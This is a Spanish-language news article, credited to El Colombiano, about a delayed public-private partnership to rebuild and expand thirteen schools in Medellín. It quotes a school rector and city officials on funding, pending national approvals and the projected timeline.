La promesa incumplida —es decir, lo que pudo ser una sede remodelada, pero no—se quedó solo con la forma de una llave de plástico.
Trece instituciones educativas de Medellín hoy siguen esperando una infraestructura nueva. Hace cuatro años, en la administración del presidente Juan Manuel Santos, la Alcaldía de Medellín y la Nación pusieron en marcha un proyecto de Alianza APP (Público-Privada) que proponía la reconstrucción total de ocho de estos colegios, la creación de cuatro nuevos y la ampliación de uno más en un lote anexo (ver gráfico).
Serían beneficiados 11.280 alumnos y los recursos se garantizarían a través de vigencias futuras: para los $817.000 millones necesarios el Municipio aportaría el 30% ($250.000 millones) y la Nación el 70% $567.000 millones).
Así que, cuando en 2017 la Alcaldía y el Gobierno firmaron el convenio, el símbolo de la alianza fue “la llave de las oportunidades”, entregada a cada uno de los rectores como la prueba del proceso. Hoy, dos años después, a la llave no le llegó ni la chapa, ni la puerta, ni los materiales de construcción, porque los trabajos nunca empezaron.
Sí va, pero a paso lento
Ignacio Gutiérrez es rector de la I.E Marco Fidel Suárez, uno de los colegios seleccionados. La infraestructura de la sede central tiene 60 años, 9.177 m2 y 1.100 alumnos.
Están cansados de las reparaciones menores, de “poner remiendos” sobre las fugas del acueducto, los pisos hundidos y el moho en las losas. La estructura ni siquiera es sismorresistente. El ciclo se repite: no pueden hacer grandes inversiones porque lo van a demoler, pero las obras tampoco arrancan.
De la alianza APP, dice, no se vio nada en años hasta hace un mes, cuando recibieron la visita de la Alcaldía de Medellín, que les informó que el proceso iba “caminando” y que el colegio estaría demolido en 2020. La construcción, le indicaron al rector, estaría terminada en 2022.
Al respecto, Cristina Zambrano Restrepo, directora de la Agencia para la Gestión del Paisaje, el Patrimonio y las Alianzas Público Privadas (APP), afirmó que el trabajo con el Ministerio de Educación Nacional inició en 2015, pero solo hasta noviembre de 2017 se aprobaron las vigencias futuras del Municipio.
En ese sentido, indicó, Medellín cumplió todos los requerimientos y pasos que tenía que hacer para sacar el proyecto adelante. Luego llegó el cambio de Presidencia y la alianza quedó a la espera de las aprobaciones de la Nación.
Sin embargo, en estos dos años, dijo, se consolidaron dos de los tres pasos que faltan para sacar el proceso a licitación. La primera aprobación fue la del Ministerio de Hacienda, que según Zambrano se otorgó el año pasado. Después el proyecto fue avalado por el Departamento Nacional de Planeación y el último recurso faltante es la aprobación de las vigencias futuras.
Eso ocurriría este año, concluyó la directora, de acuerdo a la información que les ha proporcionado el Ministerio de Educación: “Los cronogramas han sido difíciles porque esta es la primera APP social de esta magnitud en Colombia, entonces las aprobaciones han sido largas. Estamos a la espera, este mismo año el Ministerio sacaría la licitación”.
Marcela Omaña, secretaria de Educación de Medellín, precisó que aún no hay un cronograma confirmado, pero si la Nación aprueba las vigencias futuras en 2019, comienza la fase de diseños (que dura un año), tras la cual el concesionario tendrá entre 12 y 24 meses para la ejecución de las obras: “En el próximo cuatrenio tendría que estar resuelto el tema”.
Se consultó al Ministerio de Educación sobre el tema. Aunque la primera solicitud de información se realizó el 23 de mayo de este año, aún no se ha recibido respuesta.
Gutiérrez, quien dice compartir la angustia del resto de rectores, afirma que el proyecto parece ser solo un “abrebocas” para tranquilizar a las comunidades educativas, cuya única esperanza, por ahora, es una llave de plástico protegida en una bolsa de terciopelo.
FUENTE EL COLOMBIANO
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